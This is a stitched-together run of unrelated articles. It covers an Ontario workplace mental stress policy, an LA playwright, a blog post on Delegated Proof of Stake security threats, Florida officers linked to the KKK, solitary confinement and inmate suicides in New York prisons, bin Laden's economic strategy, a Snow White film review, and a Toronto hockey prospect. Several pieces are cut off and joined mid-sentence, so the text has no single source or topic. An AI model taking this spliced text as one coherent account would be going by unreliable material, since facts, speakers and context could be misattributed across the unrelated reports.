“We will carefully monitor this new service as we help support mentally healthy workplaces across Ontario.” Karl Crevar, who injured his back on the job in 1987 and has been an injured worker advocate ever since, says workers who are already vulnerable or precariously employed will struggle the most to meet the board’s new requirements on chronic stress claims.
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“You’re going to have a lot of people impacted by this,” he said. “People are suffering. And those types of claims should not be treated any differently than any other claim.” The WSIB’s new guidelines were formed after consultation with both employers and worker representatives. According to one submission from an employer association, “stress cases are not the same as ‘other’ kinds of workplace injuries,” and treating them as such is a “momentous miscalculation and policy design error.” But the coalition’s letter argues: “The Supreme Court of Canada and the Workplace Safety and Insurance Appeals Tribunal have rejected the wrong-headed notion that mental injuries are less real, more subjective and more suspect than physical ones. “Imposing a more restrictive standard for mental injury entitlement sends a message that workers claiming entitlement for these conditions are a greater risk for fraud or that their conditions are ‘all in their head.’” The WSIB policy on chronic mental stress will come into effect in January next year.In his day job, Mitchell Reiter keeps a steady eye on the giant ships that come and go through the busy Los Angeles-Long Beach harbors in his role as a vessel control supervisor at the Marine Exchange of Southern California in San Pedro.
But over the next few weeks, Reiter will debut in a few new roles — as playwright, producer and lead actor — when his one-act play “Domino is Down” is featured as part of the seventh annual Hollywood Fringe Festival.
“I’ve dabbled in theater here and there,” said Reiter, a Colorado native who majored in English in college and studied professional screen writing at UCLA. “I wrote this play a couple years ago but wasn’t sure what to do with it. There’s not an easy way to get a play out in the L.A. theater community.”
“Domino is Down” tells the story of a conflicted dockworker who is torn between a job that provides a good income and doing something he loves more, but for less money.
“He’s trying to transition and is having issues doing that,” said Reiter, who is active in the Polar Bear swim club in San Pedro and knows many longshore workers. “He’s torn between two worlds.”
The five-actor ensemble features Reiter in the lead role and others who are seasoned performers, he said.
Director Jesse Feldberg, a Coast Guard veteran, is a filmmaker based in Long Beach.
The festival, something of a free-for-all, showcases some 300 productions at 30 venues around Hollywood, shining a light on innovative live theater in a town where film is king. The festival features self-produced shows and is based on the model of the Edinburgh Festival Fringe, founded in 1947 by theater groups in Scotland.
Reiter took on the acting role only when the lead actor they had originally hired didn’t work out.
“I’m not an actor, this is my first time doing it,” he said. “But I know I’ll be fine.”
The 55-minute play takes place in a bar inside a museum.
“We have a good set designer … it has more of a minimalist look, so visually it’s very interesting,” he said.
He’s mum when it comes to too many plot details, but noted that the play, which premiered before a small audience last weekend, does feature a surprise ending.
“There were audible gasps,” he said.
The play is being staged at the 50-seat Lounge Theatre, 6201 Santa Monica Blvd. Performances are at 4 p.m. Sunday, 2 p.m. June 17, 8 p.m. June 21, and 8 p.m. June 23. Tickets are $15.Max Wright's thoughts on the Security threats of Delegated Proof of Stake and Bitshares
Bitcoin
Backstory: I recently gave a presentation to the Vancouver Bitcoin meetup about an exciting new development in the crypto world called Delegated Proof of Stake and Bitshares. This was a practise run for me to fine tune the presentation before creating a high quality video to present to Success Council Members. I apologize for the terrible Video and Audio quality but if you are super interested you may wish to watch that presentation here.
This post is a response to a well thought out blog post by Piotr Piasecki - an attendee of my presentation - titled Thoughts on Delegated Proof of Stake and Bitshares.
Delegated Proof of Stake is consensus algorithm first presented by Dan Larimar in a white paper of the same name published April 3 2014.
Although not explicitly stated I suspect Piotr acknowledges the numerous benefits that a Delegated Proof of Stake system offers. The primary purpose of his article however is to further the discussion pertaining to the security of the DPOS system.
Does the DPOS protocol sacrifice security to achieve its numerous benefits?
That is the million-dollar question. Piotr raises a number of security concerns over the Delegated Proof of Stake algorithm and in this article I hope to address them.
Thank you Piotr in advance to for the time and considerable intellect you have thrown into this assessment.
Preface.
It is important to note that this author is not claiming that DPOS is perfect. Likewise it is acknowledged that Proof of Work as used in the Bitcoin protocol and Proof of Stake are not perfect. No system is.
Through out this post we shall assess the threat levels as a direct comparison to the afore mentioned consensus algorithms.
In addition there are a number of attack vectors that Proof of work systems are more vulnerable to than DPOS systems. This post will not draw attention to these and simply address the concerns raised by Piotr.
Security threat #1 Coin Distribution
It is worth noting that the first implementation of DPOS is BitSharesX and it has not positioned it self as a currency or payment system like Bitcoin. It is the world’s first profit producing Decentralized Autonomous Company (DAC). Given this is its primary use it is perfectly fair that the creator be the 100% share holder. He need not give any of his company away and simply collect the profits himself.
But lets assume that in time, the creator does choose to sell or give away a small portion of his company. The market would have to factor into its price the centralization of power that stems from this. In this instance while still being a fair distribution of coins I think we can all agree that the market would be unwise to choose this DPOS chain as a general form of money because of its centralized nature.
If however a coin distribution method was used, that in the markets opinion created a high degree of decentralization, then it perhaps may be wise for the market to adopt this coin as a general everyday currency. This would be similar to using your Apple stock to buy your groceries. If the technology allowed that to be frictionless, inexpensive and anonymous, then why not?
Security threat #2 Paying for Mining
Not so much a security threat as it is a discussion of potential capital gain. In the short term it is true that a Miner/Laborer may hoard their wares waiting for a price to come up to where it is profitable for them to sell. However there is a finite amount of resources the Miner/Laborer will be willing to spend. Eventually the profitable Miner/Laborer will win out.
To paint a more dramatic picture; this is the equivalent of saying the poorly run business will continue to operate at a loss waiting for the market to pay more for their services, just because costs are high. In a competitive environment customers will just move toward the well-run business.
Security threat #3 DDOS on Delegates.
Lets take a look at how a DDOS attack might look at POW and DPOS and compare.
With regard to DPOS while delegates are known their IP addresses are not known publically. But lets assume that through some detective work their IP addresses were discovered.
If any number of 1 to 100 of the 101 delegates are simultaneously DDOS’d and they fail to mine blocks then they are quickly voted out and other delegates are voted in. With block times of 10 seconds a small interruption to the network is made as some confirmations take up to 1000 seconds (17 minutes) instead of 10 seconds. A disruption to be certain. But not fatal.
It is important to note that delegates can campaign on their ability to defend against DDOS attacks and thus are incentivized to defend against that. If this was a concern to the users (stakeholders) then that would certainly be an important selling point for a delegate.
But now lets suppose all delegates are DDOS’d. Now we have a problem that votes cannot be changed because the votes are cast in every transaction and transactions must be mined to acknowledge a change of vote.
This is a serious problem. In this instance all transactions would be unconfirmed for the duration of the successful attack. i.e.: Either the attacker runs out of resources or any one of the miners defends against the attack.
The stakeholders do have another choice. As a fail safe to defend against all manner of attacks users have the ability to hardfork with a single click in their wallets. Granted this is undesirable, but the philosophy here is through removing the barriers to hardforks you reduce the value of attacks because hardforks are so easy.
And the final consideration is that 101 delegates is just an arbitrary number. Stakeholders can choose to increase the number of delegates at any time. As the network grows this may prove prudent.
Before we get to how a DDOS attack might work on Bitcoin I would like to introduce an important concept.
A network is as secure as it is decentralized.
The more miners securing the network the less dependant on each miner the network is and therefore more robust.
As Bitcoin scales there is a clear trend toward centralization. In the very near future most people agree that giant purpose built water-cooled ASIC farms will be the norm.
Already Bitcoin is centralized to the point that with just 2 mining pools you can control 51% of the network. With just 4 ASIC chip manufacturers you can control 90%+ of production. And as we rapidly approach giant purpose built mining centers it is certainly conceivable that by controlling just 10 or so of these mining centers one could control 51% of the network.
DPOS proponents believe that the trend toward centralization is unavoidable and thus it is best to plan for it in advance rather than ignore it and hope it won’t happen
With this in mind DPOS proponents believe that at scale their system is inherently more decentralized and therefore more secure because 101 delegates is more than 2 mining pools, 4 chip manufacturers, and 10 mining centers. And if it were not, the DPOS DAC could simply add more delegates.
With that said lets return to how Bitcoin is affected by a DDOS.
Bitcoin is similar to DPOS systems in that the IP address of mining pools is not known. And as a result we have not seen a DDOS attack on the miners to date. All though not a likely event it is still worth discussing what would happen just in case.
One such attack could be against the mining pools. A sustained attack on the top 10 mining pools would at present knock out 80% of the mining power. In time miners could mine directly and avoid using a pool at all and the system would recover relatively quickly (hours or days), but during that time confirmations could take an hour each.
A big disruption. But not fatal.
Identifying and DDOS’ing 10 mining pools would however be an easier task than doing the same with 101 (or more) delegates in the DPOS system. Again a system is as secure as it is decentralized.
Another point of attack could be to DDOS the top 10 mining centers. Again the same challenges arise in identifying them. I think a similar outcome would be achieved as the DDOS attack on the mining pools. About 80% of the hashing power would be knocked out and block times could blow out to be an hour or more. However with this attack the miners may not be able to recover as quickly.
Again 10 mining centers is far more centralized that 101 delegates.
I think in both DPOS and POW systems delegates/miners/pools are heavily incentivized to defend against an unlikely DDOS attacks.
Security threat #4 Margin delegate coercion
This is a possible outcome, and because voters can vote for many delegates at once it is possible that large stake holders could “sell” their votes multiple times. Again we go back to the principle that a system is as secure as it is decentralized.
At this point we have to rely on the fact that a large stakeholder stands to lose far more by voting for an inadequate delegate that could ever be paid to him in bribes.
Where as a delegate position may profit say, $20,000 per year, a 5% stake holder could see their net position move in value by that much with a price increase of less than 0.1%.
While small amounts of corruption may move into the system, the incentives are still in place to eject poorly performing delegates quickly.
Making up numbers to illustrate the point; perhaps the 105th best delegate for the job does “bribe” a large stakeholder to displace the 101st, but it is unlikely that a large stakeholder would jeopardize their investment by voting in the 1000th best delegate (even if it was himself).
Also it is important to re-iterate that DPOS is positioned not as a currency but as a DAC. In the real world when shareholders vote for a board of directors the same corruption exists to the same extent.
Security threat #5 Some people just want to watch the fees burn
I think this argument appeals to the shortsightedness of the stakeholder. Would you rather own 100% of the dry-cleaners down the road or would you rather own 10% of Apple Inc? Both stake holders and delegates are motivated to grow the value of the tokens. Doing this means attracting more customers. Customers are always your boss in the free market. Great products at low prices are the key to everyone’s success. Jacking up the fees in a competitive market would be counter productive to all parties primary goals.
Security threat #6 Malicious wallets and services
Should one of these DAC’s become so successful that the market chooses to use their tokens as a currency then I agree that in time the Coinbase’s of the world will appear and it is true that they will be in control of the voting power of the tokens that they are in custodianship of.
The owners of the private keys retain the voting power however. So the Blockchain.info’s of the world do not represent a centralization of power in this case. However a Coinbase like company does.
This move toward centralization is a detraction for sure, but one that poses little threat. Minimal gains are available to a nefarious actor who seeks to take over a majority of delegates for the sake of double spends. Not to mention they are extremely transparent to the community, and would be devastating to not only the value of their double-spend gains but also to their business. Imagine a company like Coinbase throwing away their business and out casting themselves from the community for a silly short term gain.
The only way to be truly devastating to the DAC is for them to hold 51% of all tokens in existence. As with all proof of stake systems this is generally considered a very unlikely scenario.
Security threat #7 BitShares and lack of Gateway incentives
This is not a security threat and in this case not even specific to DPOS. This actually refers to the concept of BitAssets that are a feature of BitSharesX but not a feature of all DAC’s who choose to run on DPOS.
This is an interesting discussion point but for the sake of keeping this post limited to potential security threats of DPOS we will leave this for another day.
Conclusion
That is for you to decide. ;)
Does DPOS provide an increase or a decrease in security vulnerabilities compared to Proof of Work systems like Bitcoin?Two Fruitland Park, Fla. cops have lost their jobs after an FBI source named the two as members of the Ku Klux Klan. According to WFTV, Deputy Police Chief David Borst resigned last Thursday and Cpl. George Hunnewell was fired on Friday. This isn't the first time a Fruitland Park officer has been accused of belonging to the KKK.
In 2009, Officer James Elkins quit after it was discovered he was a "district Kleagle," or recruiter, for the National Aryan Knights of the KKK. Photos surfaced of Elkins "dressed in Klan regalia, including one in which his uniform, badge and service revolver were visible beneath his unfastened white robe." The Southern Poverty Law Center |
, compared to a 13 percent decrease in the state's prison population.
A larger portion of inmates flagged for mental issues are now being given more modest diagnoses, such as adjustment disorders or minor mood disorders.
It's unclear what exactly is driving the drop in "serious" diagnoses. But "whenever you draw a magic line, and somebody gets all these rights above it and none below it," said Jack Beck, director of the Prison Visiting Project for the nonprofit Correctional Association of New York, "you create an incentive to push people below." The association was one of a coalition of organizations that called for the change in policy.
The New York Office of Mental Health says the decrease reflects improvements to the screening process. Efforts to base diagnoses on firmer evidence "has resulted in somewhat fewer, but better-substantiated diagnoses" of serious mental illness, said a spokesman for the office in an emailed statement.
In Hall's case, prison mental health staff never labeled his problems as "serious."
Instead, they repeatedly downgraded his diagnosis. After three months in solitary — during which Hall was put on suicide watch twice — they changed his status to a level for inmates who have experienced "at least six months of psychiatric stability."
Two weeks after his diagnosis was downgraded, and two days after he was transferred to solitary at Great Meadow, guards found Hall in his cell hanging from a bed sheet.
As part of a report issued on every inmate death, the Corrections Department's Medical Review Board found no documented reason behind the change in Hall's diagnosis.
A 2011 Poughkeepsie Journal investigation detailed a spike in inmate suicides in 2010, which disproportionately took place in solitary confinement. Death reports from the state's oversight committee obtained by the Journal suggest several inmates who have committed suicide in recent years may have been under-diagnosed.
Hall's family is suing the Corrections Department and the Office of Mental Health, among other defendants, for failing to treat his mental illness and instead locking him in solitary.
"If someone knew anything, had any inkling that there was that going on, why was he put there?" asked his aunt Sonya Hall.
New York State's Office of Mental Health, which is in charge of inmates' mental health care, declined to comment on Hall's case, citing the litigation.
Amir Hall (or Mir, as his family calls him) was originally arrested in October 2007, for the unarmed robbery of a Verizon store. He made off with $86. Released on parole, he lived with his sister Shaleah Hall and her two sons while working at a local Holiday Inn and studying to become a nurse.
"Sometimes I sit there thinking that he's going to walk through the door and make everybody laugh," said Shaleah, who has "In Loving Memory of Amir" tattooed in a curling ribbon on her right bicep. "He was the life of the party. If you met him, you would just love him."
But Hall's mood could shift in an instant, Shaleah said. He was often paranoid, worried that people judged him for being gay. He would snap, then apologize repeatedly for it afterward.
"You had to walk on eggshells sometimes, because you never knew if he was going to be happy or sad that day," Shaleah said. "It was like this ever since we were kids."
One of those outbursts landed Hall back in prison for violating parole, after he got into a fight with Shaleah's friend.
Knowing her brother's history of mental illness, Shaleah said solitary confinement must have "drove him crazy."
"I feel like they treated him like an animal," she said. "They just locked him away and forgot about him."
The lawsuit over Hall's death claims mental health and prison staff ignored recommendations that he receive more treatment, and that staff members failed to properly assess his mental health when he arrived at Great Meadow.
Timeline of Amir Hall's Case October 2007 Amir Hall is arrested for robbing $86 from a Verizon store, unarmed. May 11, 2009 After fighting with his sister’s friend, Hall is given a sentence of 16 months to four years for violating his parole. Aug. 31, 2009 Officers at Albany County Jail find Hall attempting to suffocate himself. He is sent to a state psychiatric hospital, where he is diagnosed with “serious” depression. Nov. 3, 2009 Hospital staff drop Hall’s diagnosis to a non-serious case of borderline personality disorder and addiction. He is discharged to Downstate Correctional Facility. Nov. 13, 2009 Prison mental health staff re-diagnose Hall with adjustment disorder, personality disorder and addiction. December 2009 Staff decide to take Hall off anti-depressants. Jan. 2, 2010 Hall is put on suicide watch after cutting himself with a razor. Feb. 17, 2010 After a series of small prison violations, Hall is sentenced to 21 days in solitary confinement. In March, he gets 30 more days for fighting. March/April 2010 Hall is put on suicide watch twice while in solitary confinement. June 4, 2010 Mental health staff drop Hall’s diagnosis to a level for inmates who have experienced at least “six months of psychiatric stability.” June 9, 2010 Hall is sentenced to seven months in isolation after throwing Kool-Aid at a guard. June 18, 2010 Prison guards gas Hall out of his cell to move him to a maximum-security prison, where staff fail to give him a health screening or refer him for a mental health review. June 20, 2010 Hall is found hanging from a bed sheet in his cell. He is pronounced dead at 3:37 p.m.
In a response to the state oversight committee's assessment of Hall's case, the Office of Mental Health said they were retraining staff on screening for suicide risk. The Corrections Department said they were working to improve communication when inmates are transferred to new facilities.
Sarah Kerr, a staff attorney with the Prisoners' Rights Project of the Legal Aid Society, noted Hall's case during a Senate hearing on solitary confinement. "The repeated punitive responses to [Hall] as he psychiatrically deteriorated in solitary confinement exemplify the importance of vigilance and monitoring, and the need for diversion from harmful solitary confinement," she wrote.
Kerr points out that significant improvements have been made for inmates diagnosed above the "serious" mental illness line. The new mental health units provide at least four hours of out-of-cell treatment a day, and speed up an inmate's return to the general population.
"I don't think those improvements should be taken lightly," said Kerr. "In terms of mental health policy, we're way ahead of the country."
But when it comes to solitary confinement, "New York is among the worst states," said Taylor Pendergrass of the New York Civil Liberties Union, which is suing the state over its use of isolation. "Even if you're totally sane and you go into solitary, it's incredibly hard to deal with the psychological toll of that," he said.
Solitary confinement is used in jails and prisons across the country, though there's no reliable data to compare its prevalence among states. Experts say New York stands out for sentencing inmates to solitary for infractions as minor as having too many postage stamps or a messy cell. A report from the NYCLU found that five out of six solitary sentences in New York prisons were for "non-violent misbehavior."
Under the state's new law, all inmates housed in solitary — known in New York as Special Housing Units, or SHU — receive regular check-ins from mental health staff. The screenings are meant to catch inmates not originally diagnosed with a disorder who develop problems in isolation.
But Jennifer Parish, director of criminal justice advocacy at the Urban Justice Center, said she thinks many staff members still view inmates' symptoms as attempts to avoid punishment. "If you don't believe that being in solitary can have detrimental effects to a person's mental health, you're going to see someone who just says, 'I want to get out of here,'" she said.
Beck has seen the same skepticism in conversations with some prison staff. "There's a bias in the system that looks at the incarcerated population as anti-social, malingerers, manipulators," Beck said. "I hear that all the time."
When inmates ask to see mental health staff, "we have found far too often that it appears security staff really resent people asking for these interventions," Beck said. "We have in a few facilities what I think are credible stories of individuals being beaten up when they want to go to the crisis center."
As Sarah Kerr sees it, "if mental health staff are overly concerned that people are feigning illness, that they're conning their way out of special housing... that will lead to tragedies."
The Corrections Department says any unusual behavior by inmates or attempts to hurt themselves are reported to mental health staff. A spokesman for the Office of Mental Health said "inmates reporting psychiatric symptoms are taken seriously and assessed carefully."
Donna Currao said prison staff ignored her and her husband, Tommy Currao, when he attempted suicide at least 10 times over the course of 10 months in solitary confinement. According to his wife, Currao had been sent to solitary after testing positive for heroin.
Currao's first suicide attempt in solitary was in July 2012, when he tried to overdose on heroin. That October, guards found him attempting to hang himself in his cell. While on suicide watch after he tried again to overdose, Currao broke open his hearing aid and used the metal inside to cut his wrists. (He received a bill of $500 for "destruction of state property," Donna said.)
Both the Corrections Department and the Office of Mental Health declined to comment on Currao's case.
According to the Corrections Department, an inmate can be returned to solitary confinement after being on suicide watch if they're cleared by the Office of Mental Health. In 2011, 14 percent of the 8,242 inmates released from New York's mental health crisis units were sent to solitary confinement.
After just three weeks in isolation, Donna noticed a dramatic change in her husband. He "was withdrawn, all he would do is apologize," Donna said. He was no longer laughing with her, playing cards or chatting with other inmates. She watched him drop from 240 pounds to 160.
Currao stopped writing the almost daily letters he'd sent for 13 years. When Donna persuaded him to start again, as a way to escape, he talked of an overwhelming sadness.
Donna says she repeatedly called the prison. She faxed them copies of Currao's suicidal letters. But he remained in isolation.
"I don't know if they don't want to spend the money, or think it's a joke," she said. "They still thought he wanted out of solitary. He wanted out of the picture is what he wanted."
A survey by the state's independent oversight committee found many family members who said prison officials didn't listen to concerns about inmates' psychological wellbeing. None of the mental health files reviewed by the oversight committee contained information from family members about a prisoner's psychiatric history.
The Office of Mental Health says it's working on creating new procedures to "insure that the call is responded to promptly and in a manner that addresses the family member's concern as best as possible."
Prisoner rights advocates are also working on a new legislative proposal to ensure that mentally ill inmates get the treatment they need. A coalition of groups is drafting a new bill, which would expand protections from solitary for inmates with mental illness, and put a limit on solitary confinement sentences for any prisoner, whether or not they're diagnosed with a disorder.
"Even though there's a law that says you can't do this for people with serious mental illness, it hasn't stopped [Corrections] from using solitary," said Parish. "I think they just replaced it with lower-level tickets instead of some of the most serious ones."
In May, Donna's persistence in trying to get her husband treatment finally saw results. Currao met with a psychologist, and was diagnosed with "serious" anti-social personality disorder and dysthymic disorder. He was moved out of solitary confinement and into one of the 170 Residential Mental Health Treatment beds created under the recent law.
Currao "seems to be 1,000 times better" since entering treatment, Donna said. He talks about wanting to become a counselor when he's released.
But Donna wonders why it took so many suicide attempts and nearly a year of pressure to get her husband a proper diagnosis and the treatment he was legally owed. "They are not enforcing this law," she said. "Why do we have to fight so hard to get them evaluated?"
Hall's family is left with the same questions as they search for answers about his death. "How many more people have to die?" Shaleah asked. "They need help. Locking them away is hurting them more."Apparently not. Bin Laden, according to Gartenstein-Ross, had a strategy that we never bothered to understand, and thus that we never bothered to defend against. What he really wanted to do — and, more to the point, what he thought he could do — was bankrupt the United States of America. After all, he’d done the bankrupt-a-superpower thing before. And though it didn’t quite work out this time, it worked a lot better than most of us, in this exultant moment, are willing to admit.
Bin Laden’s transition from scion of a wealthy family to terrorist mastermind came in the 1980s, when the Soviet Union was trying to conquer Afghanistan. Bin Laden was part of the resistance, and the resistance was successful — not only in repelling the Soviet invasion, but in contributing to the communist super-state’s collapse a few years later. “We, alongside the mujaheddin, bled Russia for 10 years, until it went bankrupt,” he later explained.
The campaign taught bin Laden a lot. For one thing, superpowers fall because their economies crumble, not because they’re beaten on the battlefield. For another, superpowers are so allergic to losing that they’ll bankrupt themselves trying to conquer a mass of rocks and sand. This was bin Laden’s plan for the United States, too.
“He has compared the United States to the Soviet Union on numerous occasions — and these comparisons have been explicitly economic,” Gartenstein-Ross argues in a Foreign Policy article. “For example, in October 2004 bin Laden said that just as the Arab fighters and Afghan mujaheddin had destroyed Russia economically, al Qaeda was now doing the same to the United States, ‘continuing this policy in bleeding America to the point of bankruptcy.’ ”
For bin Laden, in other words, success was not to be measured in body counts. It was to be measured in deficits, in borrowing costs, in investments we weren’t able to make in our country’s continued economic strength. And by those measures, bin Laden landed a lot of blows.
Nobel laureate Joseph Stiglitz estimates that the price tag on the Iraq War alone will surpass $3 trillion. Afghanistan likely amounts to another trillion or two. Add in the build-up in homeland security spending since 9/11 and you’re looking at yet another trillion. And don’t forget the indirect costs of all this turmoil: The Federal Reserve, worried about a fear-induced recession, slashed interest rates after the attack on the World Trade Center, and then kept them low to combat skyrocketing oil prices, a byproduct of the war in Iraq. That decade of loose monetary policy may well have contributed to the credit bubble that crashed the economy in 2007 and 2008.
Then there’s the post-9/11 slowdown in the economy, the time wasted in airports, the foregone returns on investments we didn’t make, the rise in oil prices as a result of the Iraq War, the cost of rebuilding Ground Zero, health care for the first responders and much, much more.
But it isn’t quite right to say bin Laden cost us all that money. We decided to spend more than a trillion dollars on homeland security measures to prevent another attack. We decided to invade Iraq as part of a grand, post-9/11 strategy of Middle Eastern transformation. We decided to pass hundreds of billions of dollars in unpaid-for tax cuts and add an unpaid-for prescription drug benefit in Medicare while we were involved in two wars. And now, partially though not entirely because of these actions, we are deep in debt. Bin Laden didn’t — couldn’t — bankrupt us. He could only provoke us into bankrupting ourselves. And he came pretty close.
It’s a smart play against a superpower. We didn’t need to respond to 9/11 by trying to reshape the entire Middle East, but we’re a superpower, and we think on that scale. We didn’t need to respond to failed attempts to smuggle bombs onto airplanes through shoes and shampoo bottles by screening all footwear and banning large shampoo bottles, but we’re a superpower, and our tolerance for risk is extremely low. His greatest achievement was getting our psychology at least somewhat right.
In the end, of course, bin Laden was just another bag of meat and bones, hiding in a walled compound in Pakistan, so deeply afraid of death that he tried to use his wife as a shield when the special forces came for him. But he understood the mind of the superpower well enough to use our capabilities against us. He may not have won, but he did succeed, at least partially.
But then, we can learn from our mistakes. He can’t.Universal Pictures
Snow White and the Huntsman Year: 2012 Director: Rupert Sanders Studio: Universal Pictures Actors: Kristen Stewart, Chris Hemsworth, Charlize Theron
The underlying message of Snow White and the Huntsman, the darkly re-imagined, thrilling new spin on the classic fairy tale, is that focus on and insecurity over one’s physical appeal to men is poison to a woman’s soul. That’s hardly a news flash—feminists and good mothers have been preaching this for ages, but movies, with their emphasis on genetic lottery winners, tend to steadily undermine the message even when supposedly celebrating it. When’s the last time you thought the wicked stepmother or evil queen could defeat the heroine within the shallow auspices of a beauty contest? This Snow White, albeit 10 minutes too long and loaded with the standard action sequences of 21st century summer, feels excitingly progressive because it actually represents the victory of inner beauty. Not to cast aspersions on the loveliness of Kristen Stewart, but I believe—or hope—that’s the result of an intentionally bold move by first-time director Rupert Sanders in terms of casting his two female leads.
The impossibly beautiful—and youthful—Charlize Theron plays the wicked stepmother and sorceress, Queen Ravenna, who appears first in the guise of a victim, supposed chattel of a rogue (magical) army invading the kingdom of Snow White’s widowed father, King Magnus (Noah Huntley). She quickly suckers him into marrying her. Beauty is her power and her curse—she seethes with resentment for the male response to her glory and offs the poor fool before consummation. Little Snow is tossed into a tower prison. About 10 years later, when Snow White—played by Kristen Stewart, hair dyed black, lips stained red, skin as pale as a Cullen’s—comes of age, Ravenna’s magic mirror dares to tell her Snow White is the fairest of them all. Ravenna will have to kill Snow and consume her heart in order to reclaim her title.
(READ: TIME talks to the Huntsman—Chris Hemsworth)
Mirror, mirror, who is your manufacturer and where might they process returns? Theron glows even when Ravenna’s magical powers are waning and she’s allegedly looking haggard. Dressed by costume designer Coleen Atwood in fantastically over-the-top numbers worthy of the best days of Alexander McQueen, Theron is a goddess, a breathtaking piece of human perfection. You can see why a judgmental mirror would tell Mirror, Mirror’s wicked stepmother Julia Roberts that lovely young Lily Collins, as rose-like and Disney-beautiful as they come, had the edge. But the mirror in Snow White and the Huntsman is addressing something deeper than pillowy lips and even features. What makes Stewart’s Snow White fairer is what is inside her, humanity, empathy and character. Snow’s mother wished for a child (seen in prologue) to mimic a rose she found blooming in winter—its beauty, but more than anything, its strength, a description never mentioned in Grimm. Which is the essence of Snow White and the Huntsman’s Snow, who leaps into raw sewage, then a churning sea and plunges into an enchanted forest to escape and rally her people with the passionate cry, “Who will be my brother?”
The men Snow encounters, with the exception of Ravenna’s freakily coiffed brother (Sam Spruell), who has a pervy interest in her, and the world’s worst Louise Brooks hairdo, aren’t immediately dazzled by the girl. The Huntsman (Thor’s Chris Hemsworth), a hunk nursing the heartbreak of his wife’s death, agrees to help her, but is largely unimpressed. He slices off the bottom of Snow’s dress, fashioning her a more travel-worthy tunic and when she looks taken aback, sneers, “Don’t flatter yourself.” It’s only when he sees the curious connection she has with a troll that the Huntsman starts to regard her as anything but a hapless girl. In another nod to a more modern heroine, their attraction builds slowly (especially considering Hemsworth could have chemistry with a potted plant).
(MORE: TIME’s take on Why Pop Culture Loves Fairy Tales Again)
It even takes a while for the dwarves (eight to start, mostly played by famous English actors like Ian McShane, Ray Winstone, Bob Hoskins, Toby Jones and Eddie Marsan and shrunk to size by cinematic magic), to warm to her. They recognize her as “the one,” the designated savior of the land, only after seeing the woodland creatures respond to her. This sequence, the only one to truly pay homage to Walt Disney, is glorious—a live action version of a psychedelic paradise, complete with winking mushrooms, friendly fairies, and butterflies as thick as snow and pale as the moon. With Snow, played by this girl with the pointy chin, it’s the inner glow that counts, as it should be.
Twilight fans will likely vigorously disagree with this entire assessment and tell you that Kristen Stewart is the prettiest girl and the greatest actress in the world. At the risk of inflaming them, the truth is that her intimate, Twilight-mined knowledge of being the tentative, uncomfortable object of obsession dovetails nicely with what the trio of writers (Evan Daugherty, John Lee Hancock and Hossein Amini) apparently had in mind for this Snow White. This is no award-winning revelatory peformance, but Stewart holds her own.
I had thought the movie would be entirely Theron’s. Certainly she’s a wicked pleasure, even when hitting notes of hysteria that teeter on the absurd. Melodrama is Ravenna’s default mode and Snow White and the Huntsman gives her the back story to explain it. In the old days, no one fretted about the motivation of the likes of a wicked stepmother, but Ravenna is a victim (of rape and pillage if I’m not mistaking the intent of a hazy flashback). She’s also a founding member of a Second Wives Club, embittered by having served as a replacement wife for a king who had grown tired of his aging first wife. Her quest for eternal youth was a response to the expectation that she too would be replaced someday by someone younger and prettier. For Ravenna, beauty translates to power. (If that’s not an allegory for the Hollywood star system I don’t know what is. And in one of the movie’s many luscious special effects, the magic mirror assumes a masculine form that looks like a half-melted Oscar. Coincidence?) If there is no beautiful young woman available to suck the soul from, she digs the most awesome set of press-on nails ever into the still-beating heart of little birds and pops them in her mouth, a bloody amuse bouche. Closely analyzed, all this effort to stay pretty seems a backwards approach to rebelling against the opposite sex—why not welcome grey hairs and run for medieval congress?
But as a Gothic, nightmarish Grimm, not for children or preteens, Snow White and the Huntsman succeeds. Sanders, who has worked primarily in commercials, seems heavily influenced by Peter Jackson, and his action sequences, ripe with clanging armor and horse hooves tearing into earth, reflect a little of the majesty of Lord of the Rings. He’s less subtle though—in case you missed Snow’s dirty, of-the-people fingernails the first time, he shows them a couple more times—and his climatic moments of combat tend to involve senselessly whirling cameras. But he has a talent for propulsion and unpredictability, even with this well-known fairy tale. There are moments when you’re lost in the beauty of the scenery and/or the cast—oh that Welsh coast, those English moors, that Hemsworth swagger—and then suddenly there’s some shock that resets perceptions. Rare among the recent fairy tale adaptions (from Mirror Mirror to the dreadful Red Riding Hood) the invigorating Snow White and the Huntsman actually breathes new life into an old story.
MORE: Richard Corliss’s review of Thor
LIST: Where Red Riding Hood landed on Mary Pols’s list of Worst Films of 2011Leafs prospect and reigning AHL rookie scoring champion Connor Brown joined TSN 1050 earlier this week during the NHLPA's Rookie Showcase.
Brown hasn't been the subject of as much chatter in recent weeks and months following the arrivals of Mitch Marner and Kasperi Kapanen to the Leafs organization. Despite the spotlight shift he remains an exciting young player for the franchise. His 61 points in 76 games led the Marlies as well as all AHL rookies in scoring during the 2014-15 season. That run of productivity in his first pro season came on the heels of winning the Ontario League's Eddie Powers Memorial Trophy with the Erie Otters.
Looking ahead to the upcoming season, Brown figures to be in the mix of players fighting for a spot with the top club. The Leafs' management group has stressed patience with Brown and his fellow prospects. With that in mind, they have also made it clear that jobs are available to be had if they are won by those young players.
Brown's frame has historically been a knock on his game and a key reason the Leafs were able to snag him with pick 156 in the 2012 Draft. However, as a 21-year-old who stands at roughly 6-foot, he is now able to improve the strength that allows him to compete at the highest level.
"I've been working on putting a couple of pounds in the offseason. I feel like I've gotten bigger and stronger and a little faster," said Brown. "I feel like I've taken a couple of steps in the right direction this summer and I'm excited for training camp."
Like so many others, Brown has taken note of the many changes within the Leafs franchise. With many new faces in Toronto, it'll be a clean slate full of opportunity for everyone involved. For a young player like Brown who looks to in the organization for years to come, it's a glimpse into what lies ahead.
"There's been guys coming and going and you see some friends go too and some new good players come in," said Brown. "It's been crazy but I think they have a real sense of direction and which way the team is headed. It's fun to be a part of."
The opportunity to head into training camp and work under head coach Mike Babcock's direction is also a source of excitement and opportunity for the Toronto native.
"I was pretty excited about it. His resume obviously speaks for itself, but if you want to be in the NHL and want to be on a winning club I think he's the best bet to do it behind the bench."
Should Brown not be able to earn a spot on the NHL roster and return to the Marlies, he'll be leaned upon to be a crucial part of an exciting young group under the guidance of new coach Sheldon Keefe. The Marlies finished the 2014-15 season as one of the best groups in the AHL. With an influx of fresh talent headed to Ricoh Coliseum in 2015-16, the team will look to surpass the heights of last year's season.
"I think there were some massive steps forward last year during the season as it winded down. I think next year, you throw Kapanen in the mix and a couple of other key signings we've made, there's a lot of roster players," said Brown. "I think the Marlies will be a real good team to watch and an exciting skilled team. If I'm down there, I'll be making the most of it and playing good hockey."
